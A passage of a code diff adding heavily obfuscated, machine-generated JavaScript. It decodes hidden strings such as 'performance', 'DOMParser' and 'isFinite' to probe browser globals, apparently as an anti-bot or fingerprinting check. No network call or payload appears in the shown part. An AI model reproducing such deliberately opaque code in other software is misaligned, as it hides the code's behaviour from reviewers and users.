_$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts]; + _$VU = _$ds; + for (_$HU = 0; _$HU < _$VU.length; _$HU++) { + _$Qv = _$qU; + _$Wv = _$VU; + _$Yv = _$HU; + _$Ov = _$Wv[_$Yv]; + _$Pv = 12; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$qU = _$Ev + } + _$Qv = _$VU; + _$Wv = _$LC; + _$Yv = _$LU; + _$Ov = _$Qv[_$Wv](_$Yv); + _$VU = _$Ov; + _$Qv = _$ce + _$ee + _$se + _$ve + _$re; + _$xU = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = []; + _$t = _$c; + for (_$o = 0; _$o < 10; _$o++) { + _$c = _$t; + _$v = _$LC; + _$s = _$o; + _$n = 6; + _$f = _$s + _$n; + _$c[_$v](_$f) + } + _$c = _$t; + _$v = 4; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 6; + _$k = _$n[_$f]; + _$b = _$s + _$k; + _$i = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 7; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 6; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 8; + _$s = _$i; + _$n = _$t; + _$f = 4; + _$k = _$n[_$f]; + _$b = _$s / _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c - _$n; + if (_$f) { + _$c = _$i; + _$v = _$t; + _$s = 3; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f + } + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$t; + _$v = 0; + _$s = _$c[_$v]; + _$g = _$s; + _$c = _$t; + _$v = 8; + _$s = _$c[_$v]; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$l = 0; + _$h = _$b > _$l; + if (_$h) { + _$c = _$i; + _$v = _$t; + _$s = 4; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 6; + _$n = _$v[_$s]; + _$f = _$c + _$n; + _$k = _$t; + _$b = 5; + _$l = _$k[_$b]; + _$h = _$f - _$l; + _$i = _$h + } else { + _$c = _$i; + _$v = _$t; + _$s = 0; + _$n = _$v[_$s]; + _$f = _$c * _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f + } + _$c = _$t; + _$v = 4; + _$s = _$i; + _$n = _$t; + _$f = 5; + _$k = _$n[_$f]; + _$b = _$s - _$k; + _$c[_$v] = _$b; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 8; + _$n = _$v[_$s]; + _$f = _$c / _$n; + _$i = _$f; + _$c = _$i; + _$v = _$t; + _$s = 2; + _$n = _$v[_$s]; + _$f = _$c - _$n; + _$i = _$f; + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$BU = _$Wv; + _$Yv = _$ae + _$$a + _$Fa + _$Sr + _$Kr + _$Ja + _$Xa; + _$XU = _$Yv; + _$Ov = _$XU; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$FU = _$Gv; + _$Zv = 0; + _$cO = _$Zv; + _$Qv = []; + _$vO = _$Qv; + _$Qv = _$xU; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$JU = _$Pv; + for (_$sO = 0; _$sO < _$JU; _$sO++) { + _$Qv = _$XU; + _$Wv = _$xU; + _$Yv = _$_C; + _$Ov = _$cO; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$BU(_$Qv, _$Pv); + _$rO = _$Gv; + _$cO++; + _$Qv = _$XU; + _$Wv = _$xU; + _$Yv = _$_C; + _$Ov = _$cO; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$BU(_$Qv, _$Pv); + _$eO = _$Gv; + _$cO++; + _$Qv = _$XU; + _$Wv = _$xU; + _$Yv = _$_C; + _$Ov = _$cO; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$BU(_$Qv, _$Pv); + _$aO = _$Gv; + _$cO++; + _$Qv = _$XU; + _$Wv = _$xU; + _$Yv = _$_C; + _$Ov = _$cO; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$BU(_$Qv, _$Pv); + _$$U = _$Gv; + _$cO++; + _$Qv = _$vO; + _$Wv = _$sO; + _$Yv = _$rO; + _$Ov = _$FU; + _$Pv = _$Yv * _$Ov; + _$Gv = _$FU; + _$Zv = _$Pv * _$Gv; + _$Ev = _$FU; + _$_v = _$Zv * _$Ev; + _$Vv = _$eO; + _$qv = _$FU; + _$Hv = _$Vv * _$qv; + _$xv = _$FU; + _$Bv = _$Hv * _$xv; + _$Xv = _$_v + _$Bv; + _$Fv = _$aO; + _$$v = _$FU; + _$es = _$Fv * _$$v; + _$ts = _$Xv + _$es; + _$ds = _$$U; + _$Ms = _$ts + _$ds; + _$Qv[_$Wv] = _$Ms + } + _$Qv = _$BC; + _$JU = _$Qv; + for (_$nO = 0; _$nO < _$vO.length; _$nO++) { + _$Qv = _$vO; + _$Wv = _$nO; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$JU += _$Ov + } + _$Qv = _$GW; + _$Wv = _$qU; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$JU; + _$Pv = _$Yv === _$Ov; + _$fO = _$Pv; + _$Gv = _$uY; + _$tO = _$Gv; + _$Zv = _$gh; + _$iO = _$Zv; + _$Ev = 1; + _$oO = _$Ev; + _$Qv = _$oO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$oO = _$Yv; + _$Qv = 1; + _$iO = _$Qv; + _$Qv = _$BC; + _$kO = _$Qv; + _$Qv = _$oO; + _$iO = _$Qv; + _$Qv = 888; + _$Wv = 784; + _$Yv = 848; + _$Ov = 808; + _$Pv = 792; + _$Gv = 928; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$oO = _$Zv; + for (_$bO = 0; _$bO < _$oO.length; _$bO++) { + _$Qv = _$kO; + _$Wv = _$oO; + _$Yv = _$bO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$kO = _$Ev + } + _$Qv = _$oO; + _$Wv = _$LC; + _$Yv = _$iO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$oO = _$Ov; + _$Qv = _$hh; + _$lO = _$Qv; + _$Wv = 1; + _$hO = _$Wv; + _$Qv = _$hO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$hO = _$Yv; + _$Qv = 1; + _$lO = _$Qv; + _$Qv = _$BC; + _$gO = _$Qv; + _$Qv = _$hO; + _$lO = _$Qv; + _$Qv = 57344; + _$Wv = 51712; + _$Yv = 58368; + _$Ov = 52224; + _$Pv = 56832; + _$Gv = 58368; + _$Zv = 55808; + _$Ev = 49664; + _$_v = 56320; + _$Vv = 50688; + _$qv = 51712; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$hO = _$Hv; + for (_$uO = 0; _$uO < _$hO.length; _$uO++) { + _$Qv = _$gO; + _$Wv = _$hO; + _$Yv = _$uO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 9; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$gO = _$Ev + } + _$Qv = _$hO; + _$Wv = _$LC; + _$Yv = _$lO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$hO = _$Ov; + _$Qv = _$$W; + _$Wv = _$gO; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$kO; + _$Pv = _$Yv === _$Ov; + _$fO = _$Pv; + _$Gv = 0; + _$pO = _$Gv; + for (var _$nx in _$_U) { + _$pO++ + } + _$Qv = _$pO; + _$Wv = 150; + _$Yv = _$Qv > _$Wv; + _$RU = _$Yv; + _$Qv = _$lh; + _$yO = _$Qv; + _$Wv = 1; + _$wO = _$Wv; + _$Qv = _$wO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$wO = _$Yv; + _$Qv = 1; + _$yO = _$Qv; + _$Qv = _$BC; + _$dO = _$Qv; + _$Qv = _$wO; + _$yO = _$Qv; + _$Qv = 7424; + _$Wv = 7104; + _$Yv = 7168; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$wO = _$Ov; + for (_$MO = 0; _$MO < _$wO.length; _$MO++) { + _$Qv = _$dO; + _$Wv = _$wO; + _$Yv = _$MO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 6; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$dO = _$Ev + } + _$Qv = _$wO; + _$Wv = _$LC; + _$Yv = _$yO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$wO = _$Ov; + _$Qv = _$_U; + _$Wv = _$dO; + _$Yv = _$Qv[_$Wv]; + _$PY = _$Yv; + _$Qv = _$RU; + if (_$Qv) { + for (_$IO = 0; _$IO < 30; _$IO++) { + _$Qv = 1; + _$Wv = 10; + _$Yv = _$Qv + _$Wv; + _$Ov = 70; + _$Pv = _$Yv + _$Ov; + _$AO = _$Pv; + _$Gv = 0; + _$SO = _$Gv; + _$Zv = _$OW; + _$mO = _$Zv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$mO; + _$Wv = 13102; + _$Yv = 3801; + _$Ov = _$Wv - _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 78592; + _$Zv = 29295; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 173714; + _$qv = 59566; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$mO = _$xv; + _$Qv = _$mO; + _$Wv = 109718; + _$Yv = 123562; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$TO = _$Pv; + _$Qv = _$TO; + _$Wv = _$uW; + _$Yv = _$Qv === _$Wv; + if (_$Yv) { + _$Qv = _$OW; + _$jO = _$Qv; + _$Qv = _$OW; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$OW = _$Yv; + _$Qv = _$jO; + _$Wv = 5015; + _$Yv = 4286; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 13769; + _$Zv = 35528; + _$Ev = _$Gv + _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 355296; + _$qv = 122016; + _$Hv = _$Vv - _$qv; + _$xv = _$_v % _$Hv; + _$jO = _$xv; + _$Qv = _$jO; + _$Wv = 119656; + _$Yv = 113624; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$TO = _$Pv; + _$Qv = _$TO; + _$uW = _$Qv + } + _$Qv = _$TO; + _$Wv = 79; + _$Yv = 40; + _$Ov = _$Wv + _$Yv; + _$Pv = 40; + _$Gv = _$Ov + _$Pv; + _$Zv = _$AO; + _$Ev = _$Gv - _$Zv; + _$_v = 1; + _$Vv = _$Ev + _$_v; + _$qv = _$Qv * _$Vv; + _$Hv = _$AO; + _$xv = _$qv + _$Hv; + _$CO = _$xv; + _$Qv = _$zW; + _$Wv = _$LC; + _$Yv = _$SO; + _$Ov = _$CO; + _$Pv = _$Yv | _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = _$bh; + _$DO = _$Qv; + _$Wv = 1; + _$KO = _$Wv; + _$Qv = _$KO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$KO = _$Yv; + _$Qv = 1; + _$DO = _$Qv; + _$Qv = _$BC; + _$QO = _$Qv; + _$Qv = _$KO; + _$DO = _$Qv; + _$Qv = 28416; + _$Wv = 25088; + _$Yv = 27136; + _$Ov = 25856; + _$Pv = 25344; + _$Gv = 29696; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$KO = _$Zv; + for (_$WO = 0; _$WO < _$KO.length; _$WO++) { + _$Qv = _$QO; + _$Wv = _$KO; + _$Yv = _$WO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$QO = _$Ev + } + _$Qv = _$KO; + _$Wv = _$LC; + _$Yv = _$DO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$KO = _$Ov; + _$Qv = _$kh; + _$YO = _$Qv; + _$Wv = 1; + _$UO = _$Wv; + _$Qv = _$UO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$UO = _$Yv; + _$Qv = 1; + _$YO = _$Qv; + _$Qv = _$BC; + _$OO = _$Qv; + _$Qv = _$UO; + _$YO = _$Qv; + _$Qv = 26880; + _$Wv = 29440; + _$Yv = 17920; + _$Ov = 26880; + _$Pv = 28160; + _$Gv = 26880; + _$Zv = 29696; + _$Ev = 25856; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$UO = _$_v; + for (_$PO = 0; _$PO < _$UO.length; _$PO++) { + _$Qv = _$OO; + _$Wv = _$UO; + _$Yv = _$PO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$OO = _$Ev + } + _$Qv = _$UO; + _$Wv = _$LC; + _$Yv = _$YO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$UO = _$Ov; + _$Qv = _$AW; + _$Wv = _$OO; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$QO; + _$Pv = _$Yv === _$Ov; + _$fO = _$Pv; + _$Gv = _$oh; + _$GO = _$Gv; + _$Zv = 1; + _$NO = _$Zv; + _$Qv = _$NO; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$NO = _$Yv; + _$Qv = 1; + _$GO = _$Qv; + _$Qv = _$BC; + _$ZO = _$Qv; + _$Qv = _$NO; + _$GO = _$Qv; + _$Qv = 29696; + _$Wv = 28416; + _$Yv = 28672; + _$Ov = [_$Qv, _$Wv, _$Yv]; + _$NO = _$Ov; + for (_$zO = 0; _$zO < _$NO.length; _$zO++) { + _$Qv = _$ZO; + _$Wv = _$NO; + _$Yv = _$zO; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$ZO = _$Ev + } + _$Qv = _$NO; + _$Wv = _$LC; + _$Yv = _$GO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$NO = _$Ov; + _$Qv = _$tO; + _$Wv = _$ZO; + _$Yv = _$Qv[_$Wv]; + _$IW = _$Yv; + _$Qv = _$RU; + _$Wv = !_$Qv; + if (_$Wv) { + for (_$IO = 0; _$IO < 30; _$IO++) { + _$Qv = 150; + _$Wv = 10; + _$Yv = _$Qv + _$Wv; + _$EO = _$Yv; + _$Ov = 0; + _$RO = _$Ov; + _$Pv = _$OW++; + _$_O = _$Pv; + _$Qv = _$_O; + _$Wv = 4622; + _$Yv = 4679; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv * _$Ov; + _$Gv = 76047; + _$Zv = 26750; + _$Ev = _$Gv - _$Zv; + _$_v = _$Pv + _$Ev; + _$Vv = 129809; + _$qv = 103471; + _$Hv = _$Vv + _$qv; + _$xv = _$_v % _$Hv; + _$_O = _$xv; + _$Qv = _$_O; + _$Wv = 90034; + _$Yv = 143246; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv / _$Ov; + _$LO = _$Pv; + _$Gv = _$LO; + _$Zv = 107; + _$Ev = 100; + _$_v = _$Zv + _$Ev; + _$Vv = _$EO; + _$qv = _$_v - _$Vv; + _$Hv = 1; + _$xv = _$qv + _$Hv; + _$Bv = _$Gv * _$xv; + _$Xv = _$EO; + _$Fv = _$Bv + _$Xv; + _$VO = _$Fv; + _$Qv = _$zW; + _$Wv = _$LC; + _$Yv = _$RO; + _$Ov = _$VO; + _$Pv = _$Yv ^ _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + _$Qv = []; + _$AW = _$Qv; + _$Qv = this; + _$qO = _$Qv; + _$Wv = _$xa + _$Ba + _$qa + _$Ha; + _$HO = _$Wv; + _$Yv = _$HO; + _$Ov = _$OC; + _$Pv = 0; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$HO; + _$Ev = _$PC; + _$_v = _$Zv[_$Ev]; + _$Vv = _$Gv - _$_v; + _$qv = _$bW(_$Vv); + _$xO = _$qv; + for (_$BO = 1; _$BO < _$HO.length; _$BO++) { + _$Qv = _$HO; + _$Wv = _$OC; + _$Yv = _$BO; + _$Ov = _$Qv[_$Wv](_$Yv); + _$Pv = _$xO; + _$Gv = _$OC; + _$Zv = _$BO; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$xO += _$Hv + } + _$Qv = _$_a + _$La + _$Va; + _$vP = _$Qv; + _$Qv = _$vP; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$XO = _$Yv; + _$Qv = []; + _$sP = _$Qv; + for (_$nP = 0; _$nP < _$XO; _$nP++) { + _$Qv = _$vP; + _$Wv = _$OC; + _$Yv = _$nP; + _$Ov = _$Qv[_$Wv](_$Yv); + _$FO = _$Ov; + _$Qv = _$FO; + _$Wv = 65536; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FO; + _$Ns = 1114111; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 18; + _$Pv = _$Yv >> _$Ov; + _$Gv = 7; + _$Zv = _$Pv & _$Gv; + _$Ev = 240; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$FO; + _$Wv = 2048; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FO; + _$Ns = 65535; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 12; + _$Pv = _$Yv >> _$Ov; + _$Gv = 15; + _$Zv = _$Pv & _$Gv; + _$Ev = 224; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 63; + _$Zv = _$Pv & _$Gv; + _$Ev = 128; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$FO; + _$Wv = 128; + _$Yv = _$Qv >= _$Wv; + _$Ov = _$Yv; + if (_$Ov) { + _$ks = _$FO; + _$Ns = 2047; + _$Ov = _$ks <= _$Ns + } + if (_$Ov) { + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 6; + _$Pv = _$Yv >> _$Ov; + _$Gv = 31; + _$Zv = _$Pv & _$Gv; + _$Ev = 192; + _$_v = _$Zv | _$Ev; + _$Qv[_$Wv](_$_v); + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 63; + _$Pv = _$Yv & _$Ov; + _$Gv = 128; + _$Zv = _$Pv | _$Gv; + _$Qv[_$Wv](_$Zv) + } else { + _$Qv = _$sP; + _$Wv = _$LC; + _$Yv = _$FO; + _$Ov = 255; + _$Pv = _$Yv & _$Ov; + _$Qv[_$Wv](_$Pv) + } + } + } + } + _$Qv = _$sP; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$JO = _$Yv; + _$Qv = _$JO; + _$Wv = 2; + _$Yv = _$Qv / _$Wv; + _$JO = _$Yv; + _$Qv = []; + _$fP = _$Qv; + _$Qv = 0; + _$$O = _$Qv; + for (_$tP = 0; _$tP < _$JO; _$tP++) { + _$Qv = _$sP; + _$Wv = _$$O; + _$Yv = _$Qv[_$Wv]; + _$rP = _$Yv; + _$Qv = _$sP; + _$Wv = _$$O; + _$Yv = 1; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$cP = _$Pv; + _$Qv = _$$O; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$$O = _$Yv; + _$Qv = _$rP; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$rP = _$Yv; + _$Qv = _$cP; + _$Wv = 46; + _$Yv = _$Qv - _$Wv; + _$cP = _$Yv; + _$Qv = _$cP; + _$Wv = 19; + _$Yv = _$Qv * _$Wv; + _$Ov = _$rP; + _$Pv = _$Yv + _$Ov; + _$eP = _$Pv; + _$Qv = _$eP; + _$Wv = 11; + _$Yv = _$Qv ^ _$Wv; + _$aP = _$Yv; + _$Qv = _$fP; + _$Wv = _$tP; + _$Yv = _$aP; + _$Qv[_$Wv] = _$Yv + } + _$Qv = _$BC; + _$iP = _$Qv; + for (_$hP = 0; _$hP < _$fP.length; _$hP++) { + _$Qv = _$fP; + _$Wv = _$hP; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$oP = _$Gv; + _$Qv = _$oP; + _$Wv = _$LS; + _$Yv = /^1+?(?=0)/; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kP = _$Ov; + _$Qv = _$kP; + _$Wv = _$Qv; + if (_$Wv) { + _$ks = _$oP; + _$Ns = _$PC; + _$Hs = _$ks[_$Ns]; + _$xs = 8; + _$Wv = _$Hs === _$xs + } + if (_$Wv) { + _$Qv = _$kP; + _$Wv = 0; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$PC; + _$Pv = _$Yv[_$Ov]; + _$bP = _$Pv; + _$Qv = _$fP; + _$Wv = _$hP; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$wc + _$yc; + _$Pv = 2; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$_S; + _$Ev = 7; + _$_v = _$bP; + _$Vv = _$Ev - _$_v; + _$qv = _$Gv[_$Zv](_$Vv); + _$lP = _$qv; + for (_$gP = 0; _$gP < _$bP; _$gP++) { + _$Qv = _$fP; + _$Wv = _$gP; + _$Yv = _$hP; + _$Ov = _$Wv + _$Yv; + _$Pv = _$Qv[_$Ov]; + _$Gv = _$gr + _$ur; + _$Zv = 2; + _$Ev = _$Pv[_$Gv](_$Zv); + _$_v = _$_S; + _$Vv = 2; + _$qv = _$Ev[_$_v](_$Vv); + _$lP += _$qv + } + _$Qv = _$lP; + _$Wv = 2; + _$Yv = parseInt(_$Qv, _$Wv); + _$Ov = _$bW(_$Yv); + _$iP += _$Ov; + _$Qv = _$bP; + _$Wv = 1; + _$Yv = _$Qv - _$Wv; + _$hP += _$Yv + } else { + _$Qv = _$fP; + _$Wv = _$hP; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$bW(_$Yv); + _$iP += _$Ov + } + } + _$Qv = _$GW; + _$Wv = _$xO; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$iP; + _$Pv = _$Yv === _$Ov; + _$uP = _$Pv; + _$Gv = _$EY; + _$pP = _$Gv; + _$Zv = _$ih; + _$yP = _$Zv; + _$Ev = 1; + _$wP = _$Ev; + _$Qv = _$wP; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$wP = _$Yv; + _$Qv = 1; + _$yP = _$Qv; + _$Qv = _$BC; + _$dP = _$Qv; + _$Qv = _$wP; + _$yP = _$Qv; + _$Qv = 14208; + _$Wv = 12544; + _$Yv = 13568; + _$Ov = 12928; + _$Pv = 12672; + _$Gv = 14848; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$wP = _$Zv; + for (_$MP = 0; _$MP < _$wP.length; _$MP++) { + _$Qv = _$dP; + _$Wv = _$wP; + _$Yv = _$MP; + _$Ov = _$Wv[_$Yv]; + _$Pv = 7; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$dP = _$Ev + } + _$Qv = _$wP; + _$Wv = _$LC; + _$Yv = _$yP; + _$Ov = _$Qv[_$Wv](_$Yv); + _$wP = _$Ov; + _$Qv = _$th; + _$IP = _$Qv; + _$Wv = 1; + _$AP = _$Wv; + _$Qv = _$AP; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$AP = _$Yv; + _$Qv = 1; + _$IP = _$Qv; + _$Qv = _$BC; + _$SP = _$Qv; + _$Qv = _$AP; + _$IP = _$Qv; + _$Qv = 272; + _$Wv = 316; + _$Yv = 308; + _$Ov = 320; + _$Pv = 388; + _$Gv = 456; + _$Zv = 460; + _$Ev = 404; + _$_v = 456; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$AP = _$Vv; + for (_$mP = 0; _$mP < _$AP.length; _$mP++) { + _$Qv = _$SP; + _$Wv = _$AP; + _$Yv = _$mP; + _$Ov = _$Wv[_$Yv]; + _$Pv = 2; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$SP = _$Ev + } + _$Qv = _$AP; + _$Wv = _$LC; + _$Yv = _$IP; + _$Ov = _$Qv[_$Wv](_$Yv); + _$AP = _$Ov; + _$Qv = _$GW; + _$Wv = _$SP; + _$Yv = typeof _$Qv[_$Wv]; + _$Ov = _$dP; + _$Pv = _$Yv === _$Ov; + _$uP = _$Pv; + _$Gv = _$qO; + _$Zv = _$pP; + _$Ev = _$Gv === _$Zv; + _$TP = _$Ev; + _$_v = _$fh; + _$jP = _$_v; + _$Vv = 1; + _$CP = _$Vv; + _$Qv = _$CP; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$CP = _$Yv; + _$Qv = 1; + _$jP = _$Qv; + _$Qv = _$BC; + _$DP = _$Qv; + _$Qv = _$CP; + _$jP = _$Qv; + _$Qv = 113664; + _$Wv = 100352; + _$Yv = 108544; + _$Ov = 103424; + _$Pv = 101376; + _$Gv = 118784; + _$Zv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv]; + _$CP = _$Zv; + 